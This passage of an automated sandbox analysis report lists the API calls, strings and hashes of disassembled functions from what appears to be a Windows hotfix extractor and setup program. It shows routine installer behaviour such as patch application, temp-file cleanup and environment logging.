Instruction ID: 05c12d547ef16d3076343c8037f92f088cfa72b28578ee7f0be467a9befaacce
Opcode Fuzzy Hash: 79354d64886fc410c0814f504bfd9b30afd0e7d4cac24f3c7e689a98db7d4def
Instruction Fuzzy Hash: 9BC196319086959FDB0BCF68C0946EDBBB0BF05314F19C6AED9D56B282D7709A85CB80

Function 01008286 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d4f3ed40784cb1acd205159c057e8a6439da72c959da14e5084bb7fb85de03f
Instruction ID: 73eb1ad3db2b6007352114fa4a889570cc0f90ca5fb72025f5fa2ea13681cd0c
Opcode Fuzzy Hash: 2d4f3ed40784cb1acd205159c057e8a6439da72c959da14e5084bb7fb85de03f
Instruction Fuzzy Hash: 24A19031D082959FDB0ACF58C0942EDFBB1BF45314F59C2EEC9866B282C7715A85CB80

Function 0100859D Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d9f84ed33e04a50cc75d73480d86f3b8f11bbc8851e627dfa954f843364c247
Instruction ID: 47a47e7724101b81cf1e1fdd9477815481a0082b8eb6285e44efc0e7966f3570
Opcode Fuzzy Hash: 3d9f84ed33e04a50cc75d73480d86f3b8f11bbc8851e627dfa954f843364c247
Instruction Fuzzy Hash: 24B1A735D082959FDB0BCF18C4946EDBBB0BF45310F19C6AFD8969B286C7709685CB90

Function 0100911E Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3974dae9ebb7a8bc4aa2b7da6efc4464a47bfbc8cab31630611c404ab64ff985
Instruction ID: 734c5ffc2d1f5eaf6f1fdea0ab5366f13342bdfd70bcbe669edc26b63f45a8e5
Opcode Fuzzy Hash: 3974dae9ebb7a8bc4aa2b7da6efc4464a47bfbc8cab31630611c404ab64ff985
Instruction Fuzzy Hash: 8F910630A0459A9EEB1BDF58C8887FEB3B1BB44708F5080AED98D961C2C7749985CF90

Function 01009558 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adc727b130d8a70c901193652c7c29f7f7098ede988ec518b009589487b1a216
Instruction ID: 4a48d19044e3ec236ddfe2700c74ad1dffc8538b678a9b9864d77caf5e4adf83
Opcode Fuzzy Hash: adc727b130d8a70c901193652c7c29f7f7098ede988ec518b009589487b1a216
Instruction Fuzzy Hash: 23610531A0055A8FEF1ACF6CC4905BEB7A2EBC9344F15856DD9DAD7382DA309952CB80

Function 01003E7A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 125windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(20000005,?,00000104), ref: 01003EEA
SHBrowseForFolderA.SHELL32(?), ref: 01003F2B
SHGetPathFromIDListA.SHELL32(00000000,?), ref: 01003F3D
SendDlgItemMessageA.USER32(?,0000006C,0000000C,00000000,?), ref: 01003F54
SendMessageA.USER32(?,00000028,00000000,00000000), ref: 01003F5F
SendDlgItemMessageA.USER32(?,0000006C,0000000D,00000104,?), ref: 01003F84
LoadStringA.USER32(20000005,?,00000104), ref: 01003FB0
SendMessageA.USER32(?,0000000C,00000000,?), ref: 01003FC3
SendDlgItemMessageA.USER32(?,00000067,0000000C,00000000,?), ref: 01003FDC
SendDlgItemMessageA.USER32(?,0000006C,0000000C,00000000,c:\36a8a8e2fed651ec27d1eed188bb35), ref: 01003FE9
EndDialog.USER32(?,00000000), ref: 01003FF0

Strings

c:\36a8a8e2fed651ec27d1eed188bb35, xrefs: 01003FDE

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: MessageSend$Item$LoadString$BrowseDialogFolderFromListPath
String ID: c:\36a8a8e2fed651ec27d1eed188bb35
API String ID: 4196404735-3080256118
Opcode ID: 8ff38ef0283e2243d984189d5b9706cb04c242c77a24033a99f4f0c10035e197
Instruction ID: ca6d105f0d69831a8513d52e48f8c2b8b825066bcb4f2ed050d46bdd4aedea35
Opcode Fuzzy Hash: 8ff38ef0283e2243d984189d5b9706cb04c242c77a24033a99f4f0c10035e197
Instruction Fuzzy Hash: 1F416A75504219BEFB63DB649C8DFEE7BB8EB18300F0041A5B6C5E60C0DAB59A858F60

Function 01002E53 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70sleepCOMMON

Download Yara Rule

APIs

SetParent.USER32(?,000000FD), ref: 01002E8C
Sleep.KERNEL32(000001F4), ref: 01002E9C
SetEvent.KERNEL32 ref: 01002EA8
SetEvent.KERNEL32 ref: 01002EBD
CreateEventW.KERNEL32(00000000,00000001,00000000,Global\HotfixNoShutDown), ref: 01002ECC
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 01002EEF
CloseHandle.KERNEL32(?), ref: 01002EF8
TerminateProcess.KERNEL32(00000320,00000001), ref: 01002F0F
EndDialog.USER32(?,00000000), ref: 01002F27

Strings

Global\HotfixNoShutDown, xrefs: 01002EC3

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Event$CloseCreateDialogHandleMultipleObjectsParentProcessSleepTerminateWait
String ID: Global\HotfixNoShutDown
API String ID: 2160021069-3107748146
Opcode ID: 400348b860b79de6a0f3343453eb6026b643485889c826b2de8ec5d488a1a1e5
Instruction ID: 565771bbe1ded297f6e1eeab05adb2a6758b43a142e37d2f74b43153d2bd27e5
Opcode Fuzzy Hash: 400348b860b79de6a0f3343453eb6026b643485889c826b2de8ec5d488a1a1e5
Instruction Fuzzy Hash: D2219271405214EFFB339FA4DD0C9AE7FB5EB09751F00816AF695920C9D7BA8980CBA0

Function 0100360C Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 67libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0100367A
LoadLibraryA.KERNEL32(?), ref: 0100369F
GetProcAddress.KERNEL32(00000000,GetFilePatchSignatureA), ref: 010036BA
GetProcAddress.KERNEL32(ApplyPatchToFileA), ref: 010036CC

Strings

GetFilePatchSignatureA, xrefs: 010036B4
options, xrefs: 01003635
patchdll, xrefs: 01003630
ApplyPatchToFileA, xrefs: 010036BC
c:\36a8a8e2fed651ec27d1eed188bb35, xrefs: 0100366B
mspatcha.dll, xrefs: 01003687

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: ApplyPatchToFileA$GetFilePatchSignatureA$c:\36a8a8e2fed651ec27d1eed188bb35$mspatcha.dll$options$patchdll
API String ID: 2141747552-487975385
Opcode ID: d75fadbb291985e4ccfd5039247aea78be2d5ca5f0885812797b6874b77ceae2
Instruction ID: 86fcc2cc3a29359986d7a0763a20f979a07127794a10d9aeb92e6956b3d7621c
Opcode Fuzzy Hash: d75fadbb291985e4ccfd5039247aea78be2d5ca5f0885812797b6874b77ceae2
Instruction Fuzzy Hash: 012121B1900218AFFB37DBA9DD0DBD637ACBB09304F0085A5B6C997284D7B99684CB50

Function 01002D78 Relevance: 15.1, APIs: 10, Instructions: 72fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0100D060,?,?,?,01003914), ref: 01002D82
CloseHandle.KERNEL32(00000000,?,?,?,01003914), ref: 01002D98
CloseHandle.KERNEL32(0000030C,?,?,?,01003914), ref: 01002DAC
DeleteFileA.KERNEL32(?,?,?,?,01003914), ref: 01002DD0
GetLastError.KERNEL32(?,?,?,01003914), ref: 01002DDA
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 01002DF1
RemoveDirectoryA.KERNEL32(?,?,?,?,01003914), ref: 01002E12
GetLastError.KERNEL32(?,?,?,01003914), ref: 01002E1C
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 01002E33
LeaveCriticalSection.KERNEL32(0100D060,?,?,?,01003914), ref: 01002E44

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: File$CloseCriticalErrorHandleLastMoveSection$DeleteDirectoryEnterLeaveRemove
String ID:
API String ID: 3032557604-0
Opcode ID: 2a2974ac5940014a36d8b734e7ae464734aed0013697c2f22aefec969e3d7cea
Instruction ID: eaeb66f063d6c446da59646d057841921a657097434ac8a43aedc69f3ce3f5a1
Opcode Fuzzy Hash: 2a2974ac5940014a36d8b734e7ae464734aed0013697c2f22aefec969e3d7cea
Instruction Fuzzy Hash: 9E219F316403409BF6B3DB58DA4DB1A7BAAEB04721F164595F6D6E31C5C739EC00CB61

Function 010033DB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(76F92EE0,?,?,?,?,010034CC,?,?,?,010038D5,?,?,00000200,?), ref: 010033E4
SetFilePointer.KERNEL32(FFFFFFFF,00000000,00000000,00000002,?,?,?,?,010034CC,?,?,?,010038D5,?,?,00000200), ref: 010033FD
WriteFile.KERNEL32(?,?,00000000,00000000,?,?,?,?,010034CC,?,?,?,010038D5,?,?,00000200), ref: 01003427
WriteFile.KERNEL32(***,***,00000000,00000000,?,?,?,?,?,010034CC,?,?,?,010038D5,?,?), ref: 0100344E
SetLastError.KERNEL32(?,?,?,?,?,010034CC,?,?,?,010038D5,?,?,00000200,?), ref: 0100345B

Strings

***, xrefs: 0100342D, 01003446, 01003447

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: File$ErrorLastWrite$Pointer
String ID: ***
API String ID: 1741213463-1787515470
Opcode ID: f259f0daa3fa8cc644dd96105249b9c34566c8285c111745a810dfbc4c84cd6b
Instruction ID: 44ff794e02d1a3db74c08f5772ca78b3d7dcc110a49943917282bb4f95e92f64
Opcode Fuzzy Hash: f259f0daa3fa8cc644dd96105249b9c34566c8285c111745a810dfbc4c84cd6b
Instruction Fuzzy Hash: 4211E5B5600108BFEB138FE8DC8CDAA3FADEB49240F014165BB81DB155EA76AD09C760

Function 010044AD Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 010044CE
_stricmp.MSVCRT(00000000,.sys), ref: 010044E2
sprintf.MSVCRT ref: 0100450C
GetFileAttributesA.KERNEL32(?), ref: 01004516

Strings

.sys, xrefs: 010044DC
.%03u, xrefs: 01004506

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: AttributesFile_stricmpsprintfstrrchr
String ID: .%03u$.sys
API String ID: 3323407637-674990528
Opcode ID: 1ff158e2bc5fa47faf8acc8ac29c6469c21ce8e7ed94fe9ef2c6fd643a7bfcd0
Instruction ID: 49d5ea88e9c73088097ed9a15219229db482fa6d83c04b0c91c0a0ec1b993438
Opcode Fuzzy Hash: 1ff158e2bc5fa47faf8acc8ac29c6469c21ce8e7ed94fe9ef2c6fd643a7bfcd0
Instruction Fuzzy Hash: 9D0190352042005FF3134B6DAC889A73BE9DFCA622F10812EF7C4C31C1CE7588018364

Function 01003892 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 010038A6
LoadStringA.USER32(20000003,?,00000080,?), ref: 010038ED
MessageBoxA.USER32(?,00000000,00010010), ref: 01003909
DeleteCriticalSection.KERNEL32(0100D060), ref: 01003927
ExitProcess.KERNEL32 ref: 01003935

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CriticalDeleteErrorExitLastLoadMessageProcessSectionString
String ID:
API String ID: 3880362259-0
Opcode ID: 0930090407c2940a87bd685511672d1101a90b25c2312edca6e979305b6cca41
Instruction ID: 95fc673a3485858558866d3e75a01873537341b781b9074dca4c1e746b7b8f2d
Opcode Fuzzy Hash: 0930090407c2940a87bd685511672d1101a90b25c2312edca6e979305b6cca41
Instruction Fuzzy Hash: C2018435401118AFFB73EBA4DD8CBE977B8BB04315F140295FAC0A60C4DB795A48CBA1

Function 0100628C Relevance: 7.5, APIs: 5, Instructions: 36timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 010062A9
GetCurrentProcessId.KERNEL32 ref: 010062B5
GetCurrentThreadId.KERNEL32 ref: 010062BD
GetTickCount.KERNEL32 ref: 010062C5
QueryPerformanceCounter.KERNEL32(?), ref: 010062D1

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 9f9a8a372e71f4ba5fd6d590d704713b28d7a18848ebf7ccacbe1fec22a7f2bd
Instruction ID: cb9998d7c512c76f87658832ca3486ab159dbae6228a0cd13093ddd9b699de7a
Opcode Fuzzy Hash: 9f9a8a372e71f4ba5fd6d590d704713b28d7a18848ebf7ccacbe1fec22a7f2bd
Instruction Fuzzy Hash: 00F03C36D002189BEB22EBF8E44C59AB7F9EF0C310F4106A1F591E7146DB3AE900CB80

Function 01002821 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(0000030C,00000000,00000000,00000000), ref: 0100283D
ReadFile.KERNEL32(Sdwn,00000314,?,00000000), ref: 01002859
_snprintf.MSVCRT ref: 0100289F

Strings

Sdwn, xrefs: 0100284E

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: File$PointerRead_snprintf
String ID: Sdwn
API String ID: 1063975976-2102837186
Opcode ID: cbd71d36e9f98fb81e9e7a2f7e14d0f9a5e3fb102f12bd1d6d3dfab898bb688e
Instruction ID: 9dcb7796340e3617a47c656186b8592bb183c83f9254e4a58000cb69e97ca3b5
Opcode Fuzzy Hash: cbd71d36e9f98fb81e9e7a2f7e14d0f9a5e3fb102f12bd1d6d3dfab898bb688e
Instruction Fuzzy Hash: F311A176501344ABF7338768AA8DB623BD8A706374F1403D9F5D1A20DAC37A4B84C379

Analysis Process: Setup.exePID: 7724, Parent PID: 7656COMMON

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	2.9%
Signature Coverage:	0%
Total number of Nodes:	1531
Total number of Limit Nodes:	36

Executed Functions

Function 6C900C91 Relevance: 30.0, APIs: 9, Strings: 8, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 6C900C9B
GetModuleHandleW.KERNEL32(kernel32.dll,0000029C,6C8FA587,?,6C8BA794,?,02F92298,?,00000000,?,Failed to record current state name), ref: 6C900CAD
GetLastError.KERNEL32(?,Failed to record OSFullBuildNumber), ref: 6C900CCC

Part of subcall function 6C901236: __EH_prolog3.LIBCMT ref: 6C90123D

GetNativeSystemInfo.KERNEL32(?), ref: 6C900D21
GetLastError.KERNEL32(?,00000000,?,Failed to record OSFullBuildNumber,000001C5,00000000), ref: 6C900DB2
GetLastError.KERNEL32(?,00000000,?,Failed to record OSAbbr,?,00000000,?,Failed to record OSFullBuildNumber,000001C5,00000000), ref: 6C900E38

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Strings

kernel32.dll, xrefs: 6C900CA2
Failed to record OSFullBuildNumber, xrefs: 6C900CB7, 6C900D61
GetNativeSystemInfo, xrefs: 6C900CEC
Failed to record WindowsInstallerVersion, xrefs: 6C900FDF
Failed to record OsSpLevel, xrefs: 6C900E52
Failed to record SystemLocale, xrefs: 6C900EB9
Failed to record OSAbbr, xrefs: 6C900DCC
Failed to record OSComplete, xrefs: 6C900F79

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorLast$H_prolog3$H_prolog3_HandleInfoModuleNativeSystem
String ID: Failed to record OSAbbr$Failed to record OSComplete$Failed to record OSFullBuildNumber$Failed to record OsSpLevel$Failed to record SystemLocale$Failed to record WindowsInstallerVersion$GetNativeSystemInfo$kernel32.dll
API String ID: 684166175-3561000745
Opcode ID: 3bbb068833b15243b4e82454f118f7927e27fa42899b983bf0118e86805f0f12
Instruction ID: c218f9e121144f35bbb4e008898a92f9c319b5007b3c115dd52e94b4ce01e9e3
Opcode Fuzzy Hash: 3bbb068833b15243b4e82454f118f7927e27fa42899b983bf0118e86805f0f12
Instruction Fuzzy Hash: 7EA1C831A00259AFDB20DBA4CE09BDDB7B9AF9530CF1045D8E004E7B41DB74EA89DB65

Function 6C8F76A7 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 99libraryloaderthreadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F76AE

Part of subcall function 6C91C0AA: _malloc.LIBCMT ref: 6C91C0C4

GetModuleHandleW.KERNEL32(kernel32.dll,00000020,6C8FF845,?), ref: 6C8F7748
GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 6C8F7758
SetThreadStackGuarantee.KERNEL32(00020000), ref: 6C8F776D
SetUnhandledExceptionFilter.KERNEL32(6C90416A), ref: 6C8F7774
GetCommandLineW.KERNEL32 ref: 6C8F777A

Part of subcall function 6C8C7C6E: __EH_prolog3.LIBCMT ref: 6C8C7C75

Strings

kernel32.dll, xrefs: 6C8F773E
passive, xrefs: 6C8F77B7
SetThreadStackGuarantee, xrefs: 6C8F7752

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$AddressCommandExceptionFilterGuaranteeHandleLineModuleProcStackThreadUnhandled_malloc
String ID: SetThreadStackGuarantee$kernel32.dll$passive
API String ID: 4088884676-825548933
Opcode ID: 3cead472af1c5963832205292b00c165239845dbc5e9ec00099a8ea4bb333688
Instruction ID: 349ebb142b5ab70b752ebd4b4f83630bfc46fc6692f2cd67fb088f472805b917
Opcode Fuzzy Hash: 3cead472af1c5963832205292b00c165239845dbc5e9ec00099a8ea4bb333688
Instruction Fuzzy Hash: 69418DB1915344CEDB20CFA9C6856DABBF4BB16308F604C7EC0599BB01C734D549CB65

Function 6C8F7B40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 95timethreadCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C8F7B4A

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

GetCommandLineW.KERNEL32 ref: 6C8F7BB4
_memset.LIBCMT ref: 6C8F7BF4
GetTimeZoneInformation.KERNEL32(?), ref: 6C8F7C03
GetThreadLocale.KERNEL32(00000007,?), ref: 6C8F7C3F

Strings

Initial LCID = %u, xrefs: 6C8F7C4F
TimeZone = %s, xrefs: 6C8F7C25
Environment details, xrefs: 6C8F7B65, 6C8F7B6A, 6C8F7B90
CommandLine = %s, xrefs: 6C8F7BC1

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: CommandH_prolog3H_prolog3_InformationLineLocaleThreadTimeZone_memset
String ID: CommandLine = %s$Environment details$Initial LCID = %u$TimeZone = %s
API String ID: 1050886296-4009495903
Opcode ID: 61dff1d97b2f10643739edaf09a9069971ae7fa2e23e01d149bc00adf330dd36
Instruction ID: b5bf8f223c56f83494ccb165e8c8c0e64fb753a81fead3eda96462aeae8dea8b
Opcode Fuzzy Hash: 61dff1d97b2f10643739edaf09a9069971ae7fa2e23e01d149bc00adf330dd36
Instruction Fuzzy Hash: 5C316B71900218EBEB20DBA4CD49FCDBBB9BF15304F154999E108E7A90DB74DA49CB51

Function 6394DBFF Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 174comCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394DC06

Part of subcall function 6394D923: __EH_prolog3.LIBCMT ref: 6394D92A
Part of subcall function 6394D923: PathIsRelativeW.SHLWAPI(00000000,00000000,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394D960
Part of subcall function 6394D923: GetModuleFileNameW.KERNEL32(00000010,00000104,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394D9BA
Part of subcall function 6394D923: PathCombineW.SHLWAPI(?,?,?,00000000,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394DA0D

CoCreateInstance.OLE32(63947930,00000000,00000017,63947970,?,?,?,?,00000030,639562D8), ref: 6394DC48
SysFreeString.OLEAUT32(?), ref: 6394DC69

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394DE1D: __EH_prolog3.LIBCMT ref: 6394DE24
Part of subcall function 6394DE1D: SysFreeString.OLEAUT32(00000000), ref: 6394DE6B

Part of subcall function 6394CA39: __EH_prolog3.LIBCMT ref: 6394CA40

Part of subcall function 6394CAC2: __EH_prolog3.LIBCMT ref: 6394CAC9

__CxxThrowException@8.LIBCMT ref: 6394DD4B
SysFreeString.OLEAUT32(?), ref: 6394DD87

Part of subcall function 6394B93E: __EH_prolog3.LIBCMT ref: 6394B945

Strings

m_spDoc->get_documentElement() failed. Parse error is: %s, xrefs: 6394DD19
m_spDoc->loadXML() failed. Parse error is: %s, xrefs: 6394DDFE
CoCreateInstance(__uuidof(DOMDocument30)) failed with hr=%d, xrefs: 6394DC58

Memory Dump Source

